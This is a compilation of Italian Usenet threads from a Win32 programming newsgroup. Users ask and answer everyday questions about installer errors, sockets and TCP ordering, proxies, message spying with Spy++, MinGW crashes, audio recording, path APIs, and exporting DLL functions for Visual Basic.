Inviato da: 212.171.138.43, via 
http://usenet.iol.it
 

 DATEMI UNA DRITTA GRAZIE
Quanti messaggi conteneva ? Se erano molti mi sa che č defunto (credo).
Comunque una soluzione č provare a "cancellare" (meglio spostare) i database della posta che si trova sotto
C:\WINDOWS\Application Data\Microsoft\Outlook Express.
Massimo

Newsgroup: it.comp.programmare.win32
Titolo: NSIS error. Cos' è ?

Ciao a tutti.
Quando lancio il setup di alcuni programmi mi appare il seguente messaggio:
| --------------------------- 
| NSIS Error
| --------------------------- 
| The installer you are trying to use is corrupted or
|
| incomplete.This could be the result of a damaged disk, a failed
|
| download or a virus.You may want to contact the author of this
|
| installer to obtain a new copy.It may be possible to skip this
|
| check using the /NCRC command line switch(NOT RECOMMENDED).
| --------------------------- 
Sapete dirmi a cosa è dovuto ?
Un programma che segnala il problema appena si cerca di installarlo 
(lanciando il setup) è, per esempio, DvdXPlay.
Per completezza posso dirvi che ho Win Xp - SP2 e non ho mai avuto problemi 
di sorta.
Ho scaricato i file "incriminati" diverse volte ed avvisato i vari siti di 
download, per cui son sicuro che non sono danneggiati.
Preso dall'esasperazione ho anche formattato tutto e provato a vedere se 
dava lo stesso problema senza installare SP2.
Risultato ? UGUALE !
Ho anche cercato risposte con Google ma ... NIENTE !
C'è qualcuno veramente bravo in grado di risolvere ? 

 Ciao a tutti.
[...]
Se non hai ancora provato questo link:
http://nsis.sourceforge.net/Why_do_I_get_NSIS_Error
(tra i primi ad apparire su Google a riguardo...)
non so come poterti aiutare.
Ciao. 

 ha scritto nel messaggio 
news:43e5ecdc$0$346$5fc...@news.tiscali.it...

Anzi, mi sovviene in questo momento che alcuni antivirus qualche tempo fa,
scambiavano gli installer NSIS (che io stesso uso per il setup dei miei 
programmi)
per virus. Quindi forse fare un update dell'antivirus, o disattivarlo (se si 
è sicuri
della bontà del file) potrebbe risolvere il problema.
Se ci riesci, puoi dirmi che antivirus era a causare problemi?
Newsgroup: it.comp.programmare.win32
Titolo: Vedere se i PC di una rete sono accesi

Ciao a tutti,
sto realizzando un analizzatore di traffico per una rete locale (14 PC). Ho
creato tutto e sembra funzionare, ma il problema è che devo vedere, quando
lancio il programma, quali dei 14 PC è acceso o comunque è collegato alla
rete. Per ora sto usando dei programmini esterni freeware, ma non mi piace
la chiamata tramite createprocess, anche se funziona. Non ho il controllo
del programma chiamato e vorrei farlo io.
Sapete come si fa a mandare dei messaggi ad altri PC e a farsi rispondere
per vedere se sono attivi o no?
Si usano i socket, credo, ma è complicato?
Premetto che il mio analizzatore di rete usa i socket, ma indirettamente,
perchè ho delle librerie particolare sviluppate nella mia università, che mi
premettono di gestire la cattura al livello più alto. Quindi non so usare i
socket.
Grazie mille
Sergio

>Si usano i socket, credo, ma è complicato?
Devi fare un ping. Se vuoi ho un sorgente di Microsoft che lo fa. Scrivimi
via email se ti serve (togli removethis dal mio indirizzo).
-- 
a n t o n i o
www.geminisoft.com

via email se ti serve (togli removethis dal mio indirizzo).
Potresti spedirlo anche a me per cortesia ;)
Thanx...
--
Andrea Laforgia (ICQ 87230455)
http://www.geocities.com/AndreaLaforgia
"ci sono tre tipi di persone nel mondo : quelli che
 sono bravi in matematica e quelli che non lo sono."

rete.
Ci sono le funzioni del SDK con prefisso "WNet".
Tempo fa scrissi un componente per Delphi che riusciva ad ottenere la
lista dei PC in rete.  E' chiaro che quelli che riesce a trovare sono
quelli che in quel momento sono collegati (e quindi accesi).
Un po' come il "Risorse di Rete" di Windows.

Newsgroup: it.comp.programmare.win32
Titolo: Comunicazione TCP/IP

Salve a tutti,
ho un dubbio sull'ordine di arrivo di pacchetti TCP/IP...
Se ad esempio il mio server manda due messaggi al mio client, è possibile
che il client riceva prima il secondo e dopo il primo?
Utilizzo la funzione send() della wsock.lib
Grazie a tutti
Giovanni.

 che il client riceva prima il secondo e dopo il primo?
non credo proprio...
anche i pacchetti vengono inviati con una sequenza ben precisa.
Se il pacchetto 1 non è arrivato, non ha senso inviare il pacchetto 2, ma 
viene reinviato il numero 1 

 che il client riceva prima il secondo e dopo il primo?
Se il socket è SOCK_STREAM (connection-based) no.
Se il socket è SOCK_DGRAM (connectionless) si.

che il client riceva prima il secondo e dopo il primo?
A livello IP (pacchetti) questo e' possibile
A livello TCP (stream) non e' possibile.
TCP serve proprio per questo: offirere connesso e confermato
appoggiandosi su qualcosa che non lo e'.
Cio' che chiedi tu e' possibile con UDP (datagrams)
Ciao. Federico.

 viene reinviato il numero 1 
Questo per la precisione avviene solo sul TCP.
Tuttavia per come era impostata la domanda la sensazione è che stia 
utilizzando UDP (datagrams) che è connectionless, dove i pacchetti 
vengono inviati ma non è prevista alcuna conferma (le interrogazioni DNS 
funzionano in questo modo). Nel TCP non ha molto senso parlare di 
messaggi, pacchetti, ordine di arrivo, etc... visto che per 
l'applicativo il socket è (di fatto) uno stream.

 il socket è (di fatto) uno stream.
Di sicuro, ma voleva una spiegazione "tecnica" del funzionamento e poi il 
titolo
era su TCP e non UDP ;-) 

 l'applicativo il socket è (di fatto) uno stream.
Infatti nel caso di TCP si parla di segmenti :-P

Newsgroup: it.comp.programmare.win32
Titolo: MFC - CSocket - Proxy


ICQ #34602650

 Possibile?
Dubito che CSocket ti possa aiutare molto. Dovresti  implementare
tutto il protocollo che ti interessa (HTTP, Socks5) a colpi di
Connect, Send, Receive.
Se cerchi una connessione HTTP attraverso proxy,
prova a dare una occhiata alla libreria WinInet,
cominciando da InternetOpen();
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/
       Search, Read, Discuss, or Start Your Own    

 cominciando da InternetOpen();
In realtà desidero realizzare una connessione ad un POP3 per scaricare
gli header da una casella postale. Al momento questa parte di programma
è realizzata con le MFC e funziona con connessioni dirette. Adesso ho
bisogno di realizzare una connessione che mi consenta di scaricare gli
header da un server al di fuori della lan, attraverso un proxy.


,

Se hai un proxy che fa solo da proxy HTTP (e non da socks proxy), allora
non puoi. Il protocollo POP3 usa una porta diversa da HTTP, e non mi risulta
esistano estensioni del POP3 e/o dell'HTTP che consentano di veicolare
la posta. Sei il tuo proxy e' Socks, inizia dalle specifiche del protocollo
e buon lavoro.

Newsgroup: it.comp.programmare.win32
Titolo: Ricerco protocollo ZModem

Salve,
devo fare un programma che si deve interfacciare con altri apparecchi che
utilizzano il protocollo ZModem per il trasferimento dei dati. Nessuno sa
indicarmi dove posso trovare una libreria a 32 bit (se non c'e' un file.LIB
va bene anche un file.DLL) preferibilmente royalty free, da agganciare al
mio programma per questo protocollo?
Grazie.
Roberto.

 ha scritto nel messaggio
news:8t3r67$q74$1...@news.mclink.it...

http://www.saxsoft.com/comm/
Ciao.
Il Michett@
--

Newsgroup: it.comp.programmare.win32
Titolo: Visualizzare i messaggi di un'applicazione

Volevo sapere se esiste un programma o in alternativa un sistema ,per
intercettare tutti i messaggi che windows invia ad una applicazione ?
grazie
 

Io personalmente uso il tool spy++, incluso nel Visual C++, molto utile,
puoi intercettare ogni tipo di messaggio, scegliere quali categorie
ignorare,ecc..
ciao


 intercettare tutti i messaggi che windows invia ad una applicazione ?
Lo strumento "Spy++" che e` parte del Visual Studio Microsoft, ad
esempio.
Se vuoi scrivere tu simili programmi, puoi farlo usando gli hooks.
Alex

Newsgroup: it.comp.programmare.win32
Titolo: In C++ borland ... stampare un oggetto Panel

Come faccio a stampare un oggetto Panel dove all'interno ci sono delle
griglie ???
Per stampare un grafico ( che teoricamente dovrebbe andare nella seconda
metà inferiore del foglio dopo le griglie ) faccio così:
    int h = Printer()->PageHeight;
    int w = Printer()->PageWidth;
    TRect Rett;
    Rett.left = 50;
    Rett.right = w-w/50;
    Rett.bottom =  27*h/50 + h/3;
    Rett.top = 27*h/50;
    ChartStatistiche->PrintPartialCanvas( Printer()->Canvas,Rett );
e funziona ... mentre per il pannello non so come fare !!!!
nel panel non esiste il metodo PrintPartialCanvas( );
solo PaintTo !!!
Grazie ....

 ha scritto nel messaggio
news:avjkts$gb32a$1...@ID-152719.news.dfncis.de...


Newsgroup: it.comp.programmare.win32
Titolo: Add-in Com o vba per word,excel e pwrpoint

Salve NG,
avrei bisogno di sviluppare un add-in per la suite office
che abbia le seguenti funzionalità:
1) Aggiunga un button alla toolbar di ogni applicazione
2) alla pressione del button invii il documento come attachment di una mail
ad un  indirizzo mail.
mi servirebbe in pratcia automatizzare il processo di ->Send by Mail verso
un indirizzo prefissato.
qualke info?
grazie
Lorenzo

 qualke info?
Cerca, per esempio, "word.application".
-- 
Luc.
Newsgroup: it.comp.programmare.win32
Titolo: GCC e minGW: librerie balorde?

Sto portando in windows un progetto software linux.
 
Ovviamente ho scelto di compilarlo con gcc, nello specifico quello 
fornito con MinGW. Il problema ï¿œ che l'exe compilato crasha miseramente 
appena prova a fare una strcpy :-(
 
Ho provato a eliminare la strcpy e l'unico risultato ottenuto ï¿œ stato di 
farlo crashare su una strcat, la funzione di libreria che veniva 
immediatamente dopo... a questo punto deve essere un problema di 
libreria sbagliata. Altrimenti cosa potrebbe essere? La sintassi ï¿œ 
giusta in entrambi i casi.
 
Qualcuno ha incontrato problemi simili a questo lavorando con MinGW?


 
mi ha sempre funzionato bene... ma non so proprio da cosa
dipenda il tuo problema.

 Qualcuno ha incontrato problemi simili a questo lavorando con MinGW?
 
e l'ultima versione disponibile?
 
Prova con una pi� vecchia.
 
 
Ciao
 
 
 

Il 10/08/2012 12:52, Massimo Soricetti ha scritto:
 
UHM...
 
io sto lavorando con MinGW32 e windows 7 64bit... possibile che questo 
crei problemi? Dalla documentazione, MinGW ha bisogno di msvcrt.dll per 
funzionare, ma dovrebbe compilare lo stesso a 32 bit senza grandi 
problemi, no?...


Qui ti stai confondendo ... il compilatore è una cosa, il suo prodotto 
un'altra.
Prova a linkare staticamente il runtime del C anziché dinamicamente, se 
va ancora in crash, il problema è nel tuo codice (magari il puntatore su 
cui vai a copiare non è valido), altrimenti ... incomincia a mettere 
nella cartella dell'eseguibile le varie versioni del runtime finché non 
trovi quella giusta.
 
Ciao
 
P.S. io ho smesso da anni di usare le librerie dinamiche, troppi 
problemi legati a cosa c'è nella macchina target. L'unico inconveniente 
(a parte la dimensione maggiore dell'eseguibile, peraltro 
accettabilissima) è che se si alloca memoria in un modulo (exe o dll) 
poi non si può deallocarla in un altro. Basta ricordarsi questo (che poi 
è la regola fondamentale, chi alloca poi dealloca) e non ci sono problemi.
 


prova a chiedere sulla apposita lista di Mingw. Ti devi iscrivere, perï¿œ! :-)
 
Ciao

Newsgroup: it.comp.programmare.win32
Titolo: Help scheda audio

Qualcuno sa come registrare un Wav di 12 ore in continuo
(per esempio salvare il wav ogni 10 secondi?)
Ho provato l'MCI e quando salvo smette di registrare
( e si perde l'ultimo secondo).
Saluti
Luca

forse con due thread separati
--
ciao
..::[xaero]::..


 (per esempio salvare il wav ogni 10 secondi?)
Con DirectSound & DirectCapture č possibile. Nel DirectX SDK ci sono (credo
nel file sound.h) alcune funzioni che salvano i files WAV in modo corretto e
supportano lo streaming.
--
ByEZ,
MindFlavor.
e-Mail: 
mindflav...@hotmail.com
Web site: 
http://web.tiscalinet.it/mindflavor
.
Newsgroup: it.comp.programmare.win32
Titolo: Come ottenere il nome lungo di una cartella

Vi sembrera' strano ma non riesco ad ottenere il nome lungo di una
cartella. Data la stringa di percorso breve "C:\Progra~1\Outloo~1" non
vi e' modo di ottenere il nome lungo del percorso che e'
"C:\Programmi\Outlook Express". Ho provato con GetFullPathName e con
FindFirstFile, ma non c'e' verso.
A che funzione API mi devo votare?
Grazie in anticipo.
Bye.

GetLongPathName
The GetLongPathName function converts the specified path to its long
form. If no long path is found, this function simply returns the
specified name. 
DWORD GetLongPathName(
  LPCTSTR lpszShortPath, // file name
  LPTSTR lpszLongPath,   // path buffer
  DWORD cchBuffer        // size of path buffer 
);
Ciao, Luc.
PS: C'eri arrivato vicino con GetFullPathName 8-)))


PS: C'eri arrivato vicino con GetFullPathName 8-)))
Infatti. Comunque GetLongPathName non funziona con Windows 95 e con
Windows NT4. Bisogna avere Windows 98 oppure il Service Pack 3 o
successivi per NT4. Nel Platform SDK 2000, e' presente un file
chiamato NewAPIs.htm che emula il GetLongPathName anche con le prime
versioni di Win9x e WinNT4.
Bye.

Newsgroup: it.comp.programmare.win32
Titolo: DLL per il VB

Come si crea una DLL con il VC++  contenente una funzione in C anche
semplicissima come
  int pippo(int numero)
        pippo = 2 * numero
    }
richiamabile da VB con l'istruzione DECLARE?????
Ringrazio anticipamente chiunque risponda
(sono gradite risposte in e-mail oltre che in NG)
Alberto G.
san...@clu.it

,

dovresti dichiarare la funzione come _stdcall cioč :
nel .h
double _stdcall CalcCircum(double * pdRadius);
nel .cpp
double _stdcall CalcCircum(double * pdRadius)
{
   return ((*pdRadius) * 3.14 * (*pdRadius))
}
devi poi creare un file .def dove definisci tutte le Exportfunction
per esempio:
; MyLib.def : Declares the module parameters for the DLL.
LIBRARY      "MyLib"
DESCRIPTION  'MyLib description '
EXPORTS
    ; Explicit exports can go here
	CalcCircum
comunque puoi trovare una documentazione sull'help di VC o di VB
buona fortuna
gigi
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/
       Search, Read, Discuss, or Start Your Own    

Se la crei con il wizard, sorpasserą le tue aspettative.
byebyte